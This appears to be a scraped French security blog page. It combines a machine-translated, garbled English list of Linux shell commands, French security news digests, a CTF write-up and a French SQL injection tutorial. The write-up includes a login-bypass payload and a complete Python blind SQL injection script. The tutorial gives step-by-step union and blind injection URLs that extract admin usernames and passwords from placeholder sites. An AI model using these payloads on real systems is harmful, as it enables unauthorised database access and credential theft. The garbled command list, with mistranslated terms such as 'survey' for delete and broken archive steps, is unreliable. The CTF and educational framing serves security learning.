To withdraw on the Root Server for example, know what you need woosh orders ..
Annexed to the orders that you are downloading ..
All you have to sit down and Tqriham time to arrange the orders are needed in a special file to you ..
Due to them when needed ..
Here View the orders which are in use by
pwd: display the full path to the current folder
ls: Show all files in the current folder
ls-al: Show all files and information
ls-alR: Show all files and subfolders in the information
ls-alR> filename.txt: such as ls-alR, but leave the result in the file
ls *. html: All files ending spill. html
cd [directory name]: change the current folder to another to be determined to write his name
cd .. : The current pace of change in volume one of the highest
clear: clean up the screen
vdir: give more information than it ls
exit: exit for the registration of Hel
Transfer, copying and scanning of files:
mv [old filename] [new filename]: the transfer or rename a file
cp [filename] [new filename]: to copy the file
rm [filename]: file of the survey
rm *: delete all the files in the current folder
rm *. html: a survey of all the files that the extension of expiring. html
rm-rf [directoryname]: survey of the entire volume
Create, move, copy and scan folders:
mkdir [directory name]: Create a new folder
ls-d * /: display all the folders within the current folder
cp-r [directory] [new directory]: copies of all files and folder within the new stripes
Search for files and folders:
find. -name [filename]-print: to search for the file
grep [********************************] [filename]: the search for text within the file
Permits files and folders:
There are three levels of permits files are: reading Read, Write and write implementation execute, there are also three sets to give such permits: Owner or Owner, Group and User Group for all everyone.
Chmod is used followed by Ptlatp numbers of permits, the first number is the owner of the Owner, and the second number of the Group and the third one is for all Everyone .. This interpretation of the numbers and levels of these permits:
0 = --- No permission
1 = - X Execute only
2 =-W-Write only
3 =-WX Write and execute
4 = R - Read only
5 = R-X Read and execute
6 = RW-Read and write
7 = RWX Read, write and execute
Always prefer to give a statement (0) to a Group in order to prevent the other users to browse the files from the server using the Telnet or FTP until
These are some of the most common permits:
chmod 604 [filename]: less of a statement to the Mphat Html
chmod 705 [directory name]: less a statement of volumes
chmod 755 [filename]: the least of the programs and permit Alascrepettat
chmod 606 [filename]: statement of the least used by Mphat Alascrepettat
chmod 703 [directory name]: read-only permission for the Public FTP
How to decompress the archive file using the Telnet:
First, to verify that you are inside the folder that contains your compressed file is written ls
If the file is not present your writing:
cd / big / dom / xdomain / www / directory /
Track your path to replace the file which contains your
Now the process is how to decompress the archive?
If the file extension ends. Zip File.zip for example, your writing is:
unzip file.zip
If the file extension ends with. Tar example file.tar your writing:
tar-xvf file.tar
If the file extension ends with. Gz file.gz like your writing:
gzip-d file.gz
If the file extension ends with. Tar.gz example file.tar.gz your writing:
gzip-d file.tar.gz
Therefore:
tar-xvf file.tar
How to backup the database:
mysqldump-u db_usr_name-pPASSWORD db_name> file name.SQL
How to retrieve database saved by:
mysql-u db_usr_name-pPASSWORD db_name <file name.SQL
How the pressure of the database:
tar-czvf file name.tar.gz file name.SQL
How to decompress the archive on the database:
tar-zxvf file name.tar.gz
How to do backup of all databases for a particular user:
mysqldump-uroot - all-databases | gzip> mysql_username.sql
Some other commands:
tail: like cat, but just read the end of file
tail / var / log / messages to see another 20 lines of / var / log / messages
tail-f / var / log / messages: continuing to watch for file changes during the
tail -200 / var / log / messages: print the last line of the file 200 on the screen
more: like cat
more / etc / userdomains: to browse through the file userdomains file.
pico: to use text editor
pico / home / burst / public_html / index.html: Liberation Index page for the user.
vi: another editor of the texts of many of the features, but most of the pico when used for the first time
vi / home / burst / public_html / index.html: also for the Liberation of the Index page for the user.
touch: the establishment of an empty file
touch / home/burst/public_html/404.html: to create a empty file called 404.html in the folder / home / burst / public_html /
ln: the establishment of links between files and folders
ln-s / usr / local / apache / conf / httpd.conf / etc / httpd.conf: Now you can edit / etc / httpd.conf rather than the original file. The changes will appear in the original file, as the survey link that you can change the file without the original.
rm: to delete the file
rm filename.txt: to remove a question of emphasis Confirmation deleted
rm-f filename.txt: delete the file, without question, to confirm the deletion.
rm-rf tmp /: the conversion of tmp folder and includes all the files and subfolders inside.
last: to display the log of the time
last -20: View the last 20 login process
last -20-a: presentation of the last 20 with the registration process to enter the field at the end of Hostmane
w: View current users on the server and logged on and where they are now at this moment.
netstat: View all related now.
netstat-an: offer all the related IP for the server as well as for each contact and the Port or outlet of communication.
top: to display the live system processes in the form of a nice memory, as well as information and Uptime and other useful information, which is very excellent in the management system and to ensure that everything is working well.
Screening by the use of memory to write your top and then Shift M
Screening by the use of your CPU top and then write Shift P
ps: It is short for process status which is similar to the top. It introduced the processes currently operating with the PID or Process ID, which is the definition of the Process or program, you can stop the program from this figure (as well check your orders to Kill
ps U username: display user specific programs
ps aux: Show All Processes or programs that
ps aux - forest: All the programs that work like the previous hierarchy, but very good and useful
du: to display the consumption or use of CD-Disk usage.
du-sh: to display a summary of space used by the current folder, including subfolders.
du-sh *: same thing but this is used for each file or folder basis, which is useful for finding files that reserved a large area
wc: the number of words
wc-l filename.txt: to find the file specified number of lines
cp: copies of the file
cp filename filename.backup: Copy the file to filename.backup
cp-a / home / burst / new_design / * / home / burst / public_html /: copies all files with the retention of permits to another folder
How to know the size of a file or folder:
du-h / home / username / public_html / test
kill: to stop a specific program
kill -9 PID EG: kill -9 431
kill PID EG: kill 10550
Use top or ps ux to determine the PIDs or Process I
J'ai créé ce blog pour partager avec vous mes aventures dans l'audit / pentest, l'analyse des logiciels malveillants, la criminalistique numérique et d'autres choses intéressantes.
mercredi 25 juillet 2018
mardi 19 juin 2018
Actualité sécurité
[ESPIONNAGE] Un groupe d'attaquants chinois a infiltré en début d'année les ordinateurs d'un prestataire de la Navy et a exfiltré 614 GiB de données classifiées traitant de recherche et développement sur des armes sous-marines.
La Russie,
bien connue pour ses capacités offensives, n'est pas non plus exempte d'être
victime d'espionnage. Des centres de
maintenance spécialisés dans l'électronique ont été la cible d’une campagne de
spear-phishing délivrant un outil de monitoring commercial ayant des capacités
d'enregistrement à partir de la webcam ou d'accès aux fichiers présents sur la
machine.
[BRAINSTORMING] Suite à la
récente cyberattaque de la Banque du Chili, les autorités financières et le ministère des Finances ont établi
un plan d'action afin de combattre ce type d'attaques dans le futur. Afin d'y arriver, il sera entre autres nécessaire
de moderniser les outils et protocoles actuellement utilisés. À noter que la
dernière régulation en matière de cybersécurité au Chili date de 1993.
[FUITE DE DONNÉES] Dixons Carphone, une multinationale spécialisée dans
l'électronique et les télécommunications, qui a reconnu être victime d'une
importante fuite de données impliquant 5,9 millions de cartes de paiement et
1,2 millions de données à caractère personnel. À noter, que cette même société
a déjà été victime en 2015 d'une fuite de données impactant 2,4 millions de
données à caractère personnel, dont 90 000 cartes de paiement.
Un
chercheur en renseignement sur la menace a mis la main sur 43 millions
d'adresse emails suite à l'analyse
d'un botnet utilisé dans une campagne d'envoi de mails malveillants distribuant
le cheval de Troie Trickbot. Cela fait suite à une mauvaise configuration du
serveur utilisé par les cybercriminels.
Selon une
étude récente, le nombre d'identifiants compromis ciblant l'Europe et la Russie
depuis début 2018 a augmenté de 39% et
cela représente désormais la moitié des cibles de fuite de données. Espérons
que l'entrée en vigueur de la RGPD renversera la tendance…
[JUSTICE]
Les forces de l'ordre américaine ont arrêté 74
personnes impliquées dans des fraudes de type Business Email Compromise (BEC) et ont saisi 2,4 millions de dollars et récupéré
14 millions de dollars de transferts frauduleux. Pour rappel, le coup estimé du
BEC, à travers le monde, en 2017 était de 675 millions de dollars.
Yahoo! a
été condamné au Royaume-Uni à 250 000£
suite à la compromission de 500 millions de comptes, dont 500 000 britanniques
en 2014.
La CNIL a
sanctionné à nouveau Optical Center en
lui infligeant une amende de 250 000 euros pour atteinte à la sécurité des
données de ses clients.
[VULNERABILITÉ] Une
vulnérabilité vieille de 11 ans ciblant macOS a été dévoilée par un chercheur en sécurité. Celle-ci se base sur le
contournement de l'API de signature de logiciels d'éditeurs tiers qui permet de
faire passer du code malveillant non signé comme étant signé par Apple.
Il y a quelques jours encore, il était possible de
déverrouiller une session utilisateur Windows et de changer le mot de passe
associé sans aucune action de son utilisateur. La
technique ? Le demander gentiment à Cortana, l’assistant virtuel embarqué dans Windows 10.
lundi 26 mars 2018
Actualité SECU
[JUSTICE] La justice a remporté plusieurs
victoires cette semaine en commençant par l'éradication de
l'outil Luminosity Link, un RAT vendu pour la modique somme de 40 euros à plus
de 8 600 personnes dans 78 pays différents. Ce coup d'arrêt a été possible
grâce à une coopération internationale des forces de l'ordre et du support
d'Europol.
Le département de la justice américain a
annoncé avoir démantelé le forum
cybercriminel Infraud Organization. Ce forum au slogan évocateur « In
Fraud We Trust », comptabilisait plus de 10 000 utilisateurs et
représentait 530 millions de dollars de pertes envers les consommateurs,
entreprises et institutions financières. Un de ses membres était notamment
connu sur ce forum pour développer des malware s'attaquant aux points de ventes
pour voler des données bancaires.
[RANSOMWARE] L'imagination des
cybercriminels pour élaborer de nouveaux scénarios de fraude est sans limite. Le FBI a ainsi annoncé qu'une campagne de
spams envoyait actuellement des messages usurpant l'Internet Crime Complaint
Center (IC3)
et proposant de remplir un document de remboursement suite à des dommages
causés par une cyber-attaque. Le document en question, une fois ouvert, délivre
sa charge malveillante sous forme d'un ransomware.
[ESPIONNAGE] Le groupe
d'attaquants russophone Fancy Bear a ciblé différentes personnes travaillant
dans le domaine des drones, missiles, roquettes, avions de combat furtifs mais
aussi de plateformes de cloud computing. Les 87 personnes dans leur collimateur
recevaient un mail contenant un lien de phishing usurpant, par exemple, une
alerte de sécurité Google. Les domaines des nouvelles technologies telles que
le cloud computing ont été également ciblés car la CIA a signé un contrat avec
Amazon pour la mise en place d'une plateforme partagée entre les services de
renseignements américains. En 2017, le vice premier ministre russe se
réjouissait que l'écart technologique avec les États-Unis dans le domaine des
drones de combat était désormais très réduit...
[RISQUE] Le numéro 2 du groupe
Saint-Gobain est récemment revenu sur les conséquences de l'attaque Not Petya qu'ils ont subie par
l'intermédiaire de leur filiale ukrainienne. En plus de repasser au stylo pour
l'édition de factures dans leur réseau de distribution Lapeyre et Point P,
cette attaque s'est soldée par quatre jours de gestion de crise et dix jours
pour que l'activité reprenne totalement. La leçon a visiblement été retenue car
le groupe a depuis souscrit à une cyber-assurance incluant les attaques numériques
et représentant 10 à 15% du budget du département IT.
[JEUX OLYMPIQUES] Les recommandations
de l'US-CERT
pour les personnes se rendant à Pyeongchang pour suivre les Jeux Olympiques
n’étaient pas inutiles. McAfee, qui avait analysé
des documents malveillants ciblant les organisations olympiques, avait
également prévenu sur la menace numérique autour des Jeux Olympiques. C'est
désormais officiel, les Jeux Olympiques 2018 ont déjà été victime d'une attaque
informatique
lors de la cérémonie d'ouverture. Ce que The Guardian pensait initialement être
des problèmes techniques était bien les
conséquences d’une cyber-attaque. D'après les premières
analyses,
cela repose sur un malware ayant pour seul but de détruire et qui aurait des
fonctionnalités déjà observées pour BadRabbit et Nyetya.
Fuite de la semaine
Apple a subi cette semaine la plus grosse
fuite de données de son histoire avec la mise en ligne sur la plate-forme
Github du code source d'iBoot. Ce dernier, l'un des composants les plus
critiques des iDevices d’Apple (iPhones, iPad…), est en charge du démarrage des
appareils, phase la plus intéressante pour la communauté des jailbreakers mais
également des services de renseignements. En effet, trouver un bug à ce niveau
est rétribué 200 000 dollars dans le programme Bug Bounty d'Apple et
permettrait de compromettre la chaîne de démarrage et de potentiellement
accéder aux données contenues dans les appareils. Bien que le code corresponde
à celui d'iOS 9, c'est un composant qui est moins fréquemment modifié que le
système d'exploitation et qui est donc susceptible d'être exploitable dans ses
versions plus récentes. Cette fuite
proviendrait d'un ancien développeurs bas niveau d'Apple, proche de la
communauté jailbreak et qui aurait partagé ce code à ses amis. L'un de ces
amis, l'aurait ensuite partagé à une tierce personne, qui l'aurait un peu trop
disséminé, résultant de la publication sur Github.
samedi 10 mars 2018
Writeup for my WEB task called FATALITY presented at the HACKINI CTF 2k18
#WRITEUP #HACKINI
#WEB # FATALITY_150 #BZAKARIA
Hi all, a little late but I did not forget you for the
writeup of the web challenge that was not resolved by any team at the HACKINI
CTF. It is called 'fatality' and had 150 points.
The task is not too difficult overall, but contains little
effect that push you to think outside the box.
Basically, the home page only contains a web form that asks
you to authenticate yourself to access the restricted space. Indeed, no
information is given to you in advance. But if you dig deeply, you will surely
get some.
Let's get right to the point. As there is a login form, it
is clear that we need the correct username and password to authenticate.
You can take your time trying combinations of login /
password or trying to brute-force the form, but you will not go further.
In the source code of the web page (CTRL + U) some things
can catch our eyes.
The first thing is the hidden field that has as value:
SEFDS0lOSXtUaGlzX0lzX0FfUmVkaGVycmluZ30 =
It looks like a base64-encoded text. By decoding this one,
we obtain:
HACKINI {This_Is_A_Redherring}
Hmmm .. not really interesting after all !! it looks like a
fake flag since the word redherring appears on it (see
https://en.wikipedia.org/wiki/Red_herring)
Let's try harder.
Another interesting thing is the word 'guest' foundable at
the end of the source code. It seems to be a valid login. But the password is
missing.
Since the username is given to you, you must understand that
the login field is not injectable. You must deal with the password field.
The correct payload to pass is a little irregular. There it
is:
')) or 1 = 1 #
Why like that? Because the SQL query behind look like this:
AND mdp = SHA1 (md5 ('$ _ POST [' password] '))
Doing it this way doesn't increase the robustness of the
hash but it was not the goal. ^^
I think that was the hardest step of the challenge.
By injecting correctly the password field and by gaining
access, it just takes you to another web page that shows you messages
"Welcom!" and "Nothing is here".
This should lead you to realize that there is nothing
special in the space.
Those messages are here just to be used in the context of a
blind injection
You only have one corner to look for, it's the database.
A hint was given in the meantime which is :
flag everywhere
This is a classical HINT which means that either the table
name or the column name you have to look for is named 'flag'.
Since your injection must be in a BLIND way, a script is
more or less required.
The script below is pretty simple, it will inject the
correct payload to get the length of the flag in the right place. Next, it will
do many sql injections to get the flag char by char from the right place too
since it will not be possible to do otherwise because we are dealing with a
blind injection.
import requests
import re
trouve=0
longueur=0
while (trouve==0):
payload="'))
or (select length(flag) from flag)="+str(longueur)+"#"
requette={'login':"guest",'password':payload}
resultat=requests.post('http://localhost/web/fatality_150/index.php',
data=requette).content
res=re.search("Welcom !",resultat)
if res is not
None:
trouve=1
else:
longueur+=1
print "Length of the flag is : " + str(longueur)
trouve=0
length=1
caractere=32
flag=""
while(trouve==0):
payload="'))
or ascii(substring((select flag from
flag),"+str(length)+",1))="+str(caractere)+"#"
requette={'login':'guest','password':payload}
resultat=requests.post('http://localhost/web/fatality_150/index.php',data=requette).content
res=re.search("Welcom !",resultat)
if res is not
None:
if
(length!=longueur):
flag+=chr(caractere)
length+=1
caractere=32
else:
flag+=chr(caractere)
trouve=1
else:
caractere+=1
print ("The flag is : %s " % flag)
|
The result is just below :
Good reading.
lundi 27 novembre 2017
Actualité sécurité du mois
[Attaque] Les chercheurs de Kaspersky
ont découvert des attaques informatiques ciblées provenant du groupe
BlackOasis. La spécificité de ces attaques est qu’elles
utilisent une vulnérabilité 0-Day d’Adobe Flash embarquée dans un document
Office propagé par email. Un correctif concernant la vulnérabilité
CVE-2017-11292 a depuis été publié par Adobe. La charge malveillante déployée
par les attaquants est l’outil d’espionnage FinSpy.
[Darkweb] Un kit de malware ciblant
les DAB a été découvert en vente sur le marché du Darkweb.
Cutlet Maker qui permettait de vider les distributeurs de billets, coûtait 5
000 dollars quand il était en vente sur AlphaBay, un « darkmarket »
que le FBI a fait fermer en juin. Une des fonctionnalités du malware lui
permettait d’analyser le contenu des différentes cassettes de billets afin de
cibler celle contenant le plus gros montant.
[Leak] Les informations à
caractère personnel de plus de 30 millions de personnes supposément d’Afrique
du Sud, ont fuitées. L’exfiltration des données aurait eu lieu en mars
2017 ou avant et la fuite contiendrait des données remontant jusqu’aux années
90.
[Ransomware] Le marché des ransomware se
porte très bien selon l’étude de Carbon Black. Les ventes de ransomware auraient grimpé de 2 500% entre 2016 et 2017.
Ces programmes malveillants seraient vendus dans plus de 6 300 points de ventes
différents sur le « darkweb ». Plus de 45 000 produits différents y
seraient proposés avec des prix allant de 0,5 dollar à 3 000 dollars. Certains
développeurs de ransomware génèrent plus de 100 000 dollars par an grâce à
leurs ventes.
[Malware] Symantec a découvert un
malware ciblant Android nommé Sockbot dans la bibliothèque officielle Google
Play. Selon les chercheurs, le malware se propagerait
sur le store via 8 applications différentes avec un nombre d’installations
allant de 600 000 à 2,6 millions d’appareils. Les appareils compromis sont
ajoutés à un botnet et pourraient être utilisés dans des campagnes d’attaques
DDoS.
[Vulnérabilité] Le fabricant de cartes à
puces Infineon a dévoilé que plusieurs versions de leurs produits sont affectés
par une vulnérabilité permettant de casser les clés RSA de 1024 et 2048
bits. Les chercheurs tchétchènes à l’origine de cette découverte ont nommé cette vulnérabilité ROCA.
Elle permet de calculer la clé privée générée par les puces concernées juste
avec la clé publique. Les chercheurs précisent que le calcul nécessaire au
cassage d’une clé coûterait entre 40 dollars (1024 bits) et 40 000 dollars
(2048 bits) sur les infrastructures Amazon.
Vulnérabilité de la semaine
Des chercheurs ont
découvert une vulnérabilité dans le protocole WPA2 utilisé notamment pour
sécuriser les communications des réseaux WiFi. L’attaque nommée KRACK exploite
des vulnérabilités dans le protocole d’initialisation du chiffrement des
communications entre le client et le point d’accès. De nombreux scénarios
d’attaques sont possibles, comme par exemple, des attaques de type homme du
milieu, permettant le vol d’informations ou la modification des communications
à la volée. En France, Orange et Free ont déclaré, après avoir enquêté, que leurs boxes n’étaient pas
concernées par la vulnérabilité. Source
mercredi 25 octobre 2017
[Tuto] Exploitation des injections SQL basiques
*** Sommaire *** __________ Chapitre I) __________ 0) Description : Qu'es-qu'une injection SQL 1) Comment reconnaître qu'un site est vulnérable aux injections SQL 2) Trouver le nombre de colonnes 3) Utiliser la fonction UNION 4) Trouver la version du MySQL 5) Trouver les noms des colonnes et des tables et dumper les données __________ Chapitre II) __________ 1) Description : Qu'es-qu'une injection SQL aveugle 2) Comment reconnaître qu'un site est vulnérable aux injections SQL aveugles 3) Trouver la version du MySQL 4) Tester si la sélection marche 5) Trouver les noms des colonnes et des tables et dumper les données ----------------------------- >>>>>>>>>>>>>>>>>>>>>>>>>>>> ----------------------------- >> Allons y... __________ Chapitre I) __________ 0) Description : Qu'es-qu'une injection SQL Le SQL INJECTION est l'une des communes les plus vulnérables dans les applications web de
nos jours.
Il permet d'exécuter la requête dans la base de données et d'avoir grace a l'url a certains
renseignements confidentiels et bien d'autres... =============> 1) Comment reconnaitre qu'un site est vulnérable a un SQL ? Commencons ce tuto en force ! Prénons un exemple d'un site par exemple: http://www.site-exemple.com/news.php?id=9 Maintenant, il faudra tester si ce site est vulnérable par SQL, c'est simple , nous ajoutons
un ' ( quote ) et donc l'exemple deviendra : http://www.site-exemple.com/news.php?id=9' <= quote ajouter ! Maintenant, si vous appercevez une erreur du genre: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right etc..." Ou une erreur de cet exemple, cela signifie que ce site est vulnérable par SQL. ^^ =============> 2) Trouver le nombre de columns. Pour trouver le nombre de columns , on utilisera " ORDER BY " qui demande a la base un
résultat. Donc maintenant, comment on utilise cela? Eh bien simplement augmenter le nombre jusqu'à ce
que nous obtenons une erreur comme dans l'exemple ci-dessous: http://www.site-exemple.com/news.php?id=9 order by 1/* <-- no error http://www.site-exemple.com/news.php?id=9 order by 2/* <-- no error http://www.site-exemple.com/news.php?id=9 order by 3/* <-- no error http://www.site-exemple.com/news.php?id=9 order by 4/* <-- error (une erreur du genre:
Unknown column '4' in 'order clause' ou un truc de ce genre s'affichera) Cela signifie que l'on dispose de 3 colonnes, car nous avons reçu une cause d'erreur sur 4. =============> 3) Utiliser la fonction UNION. Passons aux choses un peux plus dure.. Avec la fonction UNION, nous avons la possibilité de sélectionner plusieurs données en un
seul SQL a la fois. Donc nous aurons: http://www.site-exemple.com/news.php?id=9 union all select 1,2,3/* (nous avons deja trouver
que le nombre de column est bien 3 , revoir la section (Chapitre I , cours : 2). ) si nous voyons quelques chiffres sur l'écran, c'est-à-dire 1 ou 2 ou 3 alors l'union a
fonctionné. Si cela ne fonctionne pas , essayer de changer le /* par -- =============> 4) Trouver la version du MySQL. Disons que nous avons le numero 2 , maintenant il faudra connaitre la version MySQL , pour
cela nous allons remplacer le numero 2 par @@version ou version() et nous aurons quelques choses du genre: 4.1.33-log or 5.0.45 ou du meme type... alors l'exemple sera: http://www.site-exemple.com/news.php?id=9 union all select 1,@@version,3/* Bingo , la version du MySQL est devant vos yeux :) =============> 5) Trouver les noms des columns et tables et l'exploitation. Maintenant si la version est < 5 ( 4.1.33, 4.1.12...) , vous devez savoir que les noms de
table commun pour cette version sont: user/s , admin/s , member/s ......... pour les columns c'est: username , user, usr, user_name, password, pass, passwd, pwd .... Passons a son exploitation: Cherchons la table d'admin: http://www.site-exemple.com/news.php?id=9 union all select 1,2,3 from admin/* Si vous appercevez le numero 2 , alors cela signifie que vous venez de trouver la table
d'admin et qu'il existe... Cherchons les noms des columns: http://www.site-exemple.com/news.php?id=9 union all select 1,username,3 from admin/* (si
vous avez une erreur ici , alors essayer un autre nom de column) Si nous avons le nom d'utilisateur qui s'affiche à l'écran, par exemple, être admin ou
superadmin etc alors c'est bon... Maintenant pour la column de mot de passe, http://www.site-exemple.com/news.php?id=9 union all select 1,password,3 from admin/*
(si vous avez une erreur ici , alors essayer un autre nom de column) Si nous avons le password a l'écran du type hash ou sans, alors c'est bon, le type varie
en fonction de la base de donnée Il ne reste donc plus qu'a les mettre ensemble avec 0x3a , qui est une valeur de hex
pour la colonne. http://www.site-exemple.com/news.php?id=
9 union all select 1,concat(username,0x3a,password),3 from admin/* Vous allez voir quelques choses du genre: username:password , admin:admin , admin:unhash.. =============> =============> __________ Chapitre II) __________ 1) Description : Blind SQL INJECTION. Le blind se définit comme le sql normal sauf qu'il est un peu plus dure.... =============> 2) Comment reconnaitre qu'un site est vulnérable au BLIND SQL ? Prenons un exemple de: http://www.site-exemple.com/news.php?id=9 Quand on ouvre la page , nous voyons des articles, images ou autres... Vous pouvez donc tester le blind : http://www.site-exemple.com/news.php?id=9 and 1=1 <--- ceci est toujours vrai ! Si la page se charge normalement , c'est bon. http://www.site-exemple.com/news.php?id=9 and 1=2 <--- ceci est faux Donc si quelques textes ou images ou un truc est oublié ou déformer, alors ce site est
exploitable par le blind SQL. =============> 3) Trouver la version du MySQL. Pour avoir la version dans le blind, nous utiliserons le " substring ". http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=4 Si la page s'affiche normalement, alors c'est une version 4. http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=5 Si la page s'affiche normalement, alors c'est une version 5. =============> 4) Tester si la sélection marche. Quand le select ne marche pas, nous utiliserons donc le subselect. Exemple: http://www.site-exemple.com/news.php?id=9 and (select 1)=1 si la page se charge normalement, alors le subselect marche. et si nous voulons voir si nous avons l'access au mysql.user , on fait: Exemple: http://www.site-exemple.com/news.php?id=9 and (select 1 from mysql.user limit 0,1)=1 Si la page se charge normalement, alors nous avons access au mysql.user et nous pourons
avoir quelques mot de passe en utilisant la fonction load_file() et OUTFILE. =============> 5) Trouver les noms des colomns et tables et l'exploitation. Exemple: http://www.site-exemple.com/news.php?id=9 and (select 1 from users limit 0,1)=1 Si la page se charge normalement sans erreur alors la table users existe. Si vous obtenez une erreur , alors vous devez changer le users et mettre autre chose, a
vous de devinez :D c'est un bon jeu hein... disons que nous avons trouver la table.. maintenant nous avons besoin du nom de la colonne.. tout comme cela du nom de table, nous commencons la devinette !! http://www.site.com/news.php?id=
5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 Si la page se charge normalement, alors le nom de la colonne est password. Ainsi , nous avons la table et la colonne , exploitons :) http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
Nous continuons a changer le " 80 " jusqu'a trouver une erreur, suivez bien l'exemple: http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
Nous avons eu une fois de plus un chargement normal.. on continue
http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
Pareille, continuons http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
ERREURRR !!! donc le premier caractère dans username est char(99) si vous convertisser cela en ascii nous avons la lettre " c " . Maintenant cherchons le second caractère: http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Noter que je change ,1,1 a ,2,1 pour avoir le second caractère http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
La page se charge normalement http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
ERREUR nombre inférieur.. http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
Chargement normal , élevé. http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
ERREUR donc nous savons des a présent que le deuxieme caractère est char(105) et que c'est 'i' ,
cela fera "ci" jusqu'a présent... Faite cela en mode croissant jusqu'a ce que vous obtenez la fin. (si< 0 retourne faux, nous
avons atteint la fin alors). ----------------------------- >>>>>>>>>>>>>>>>>>>>>>>>>>>> ----------------------------- Nous voici a la fin de ce tutoriel. Il existent pleins d'outils permettant d'automatiser entièrement l'exploitation des
injections SQL mais
apprenez tout de même a le faire manuellement, c'est important pour y voir plus claire. J'espère que ce tutoriel vous a été utile.
mardi 10 octobre 2017
Actu Sécu
[Fuite de données] Equifax a annoncé la fin des investigations numériques concernant
l’incident de sécurité révélé le 7 septembre 2017. Le
nombre d’utilisateurs américains impactés par la fuite de données a augmenté de
2,5 millions pour un total de 145,5 millions. Environ 8 000 clients
canadiens ont également été impactés. Le nombre de clients britanniques
impactés n’a pas encore été révélé.
Après avoir acquis Yahoo, Verizon a procédé à des investigations
supplémentaires concernant les différentes fuites de données subies par
l’entreprise. Le nombre total de comptes email Yahoo impactés
par la fuite de données révélée en 2013 atteint les 3 milliards. En plus de cet
incident, 700 millions de comptes ont été compromis dans des incidents du même
type survenus en 2014 et 2015.
Disqus, un service web de discussions et de commentaires centralisés, a
été alerté qu’une sauvegarde de leur base de données utilisateurs datant de
2012 était exposée sur Internet. Les données concernées comprenaient principalement
des adresses email et des noms d’utilisateurs en clair tandis que les mots de
passe étaient stockés de manière sécurisée, hashés via SHA1 avec un sel.
L’incident est toujours en cours d’investigation.
[Malware] La dernière analyse du malware injecté dans le logiciel CCleaner a
démontré que le code de certaines fonctions a été partagé avec d’autres outils
utilisés par un groupe d’attaquants chinois.
Un chercheur en sécurité a découvert dans l’application Uber sur iOS
l’utilisation d’une fonctionnalité permettant d’enregistrer le contenu affiché
sur l’écran des smartphones. Apple a permis à Uber d’utiliser un accès non
documenté permettant d’écrire mais aussi de lire dans la mémoire contenant les
pixels et les données affichés (framebuffer). Un logiciel malveillant pourrait
utiliser cet accès spécial comme fonctionnalité permettant d’enregistrer les
frappes clavier.
Lors de la conférence Virus Bulletin, un chercheur
a prouvé la possibilité de cibler le BIOS d’une machine avec une mise à jour
malveillante depuis un document Office embarquant une charge utile en PowerShell.
Une campagne de spams malveillante a utilisé des fichiers HTML compilés
pour télécharger et installer un cheval de Troie bancaire brésilien. Les
emails reçus prétendent venir de WhatsApp et contenir un historique de
conversation. Les fichiers CHM sont principalement utilisés pour la
documentation. Dans ce cas, le fichier d’aide pour IPv4 a été modifié pour lancer
une commande PowerShell lors de l’ouverture du document.
[Guerre électronique] Certains smartphones et comptes Facebook de soldats de l’OTAN ont été
compromis par des hackers russes. Une antenne portable et des drones semblent avoir
été utilisés pour mener à bien cette attaque. Moscou semble également être responsable de l’interruption du réseau
mobile de la côte ouest Lituanienne pendant 7 heures.
Compromission
Même si cet événement n’a pas encore été tiré au
clair, l’antivirus Kaspersky semble avoir été exploité par des attaquants liés
au gouvernement russe pour voler des données sensibles de la NSA (National
Secret Agency).
Les données ont été sorties de la NSA et stockées
sur l’ordinateur personnel d’un consultant qui possédait l’antivirus Kaspersky.
La fuite de données aurait eu lieu en 2015 et a été découverte au début de
l’année 2016.
Il n’y a, pour le moment, aucune preuve que
Kaspersky ait aidé les attaquants pour voler ces données. Une vulnérabilité
dans l’antivirus ou dans le réseau de Kaspersky aurait pu également être
utilisée pour exécuter à distance du code malveillant. Source
Inscription à :
Articles (Atom)

